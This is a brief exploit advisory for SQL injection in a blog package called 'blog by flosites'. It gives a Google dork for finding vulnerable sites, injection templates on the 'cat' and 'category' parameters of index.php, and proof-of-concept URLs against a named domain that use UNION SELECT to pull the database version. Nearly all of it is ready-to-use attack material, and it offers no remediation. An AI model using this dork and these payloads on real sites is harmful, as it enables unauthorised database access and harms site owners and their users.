[+] Google Dork

    "blog by flosites"

[+] Exploit

    http://[site]/[path]/index.php?cat=-1 [SQL]/*
    http://[site]/[path]/index.php?category=-1 [SQL]/*

[+] Proof of Concept

    http://www.designaglow.com/blog/index.php?cat=-1+union+select+1,version(),3/*
    http://www.designaglow.com/blog/index.php?category=-1+union+select+1,version(),3/*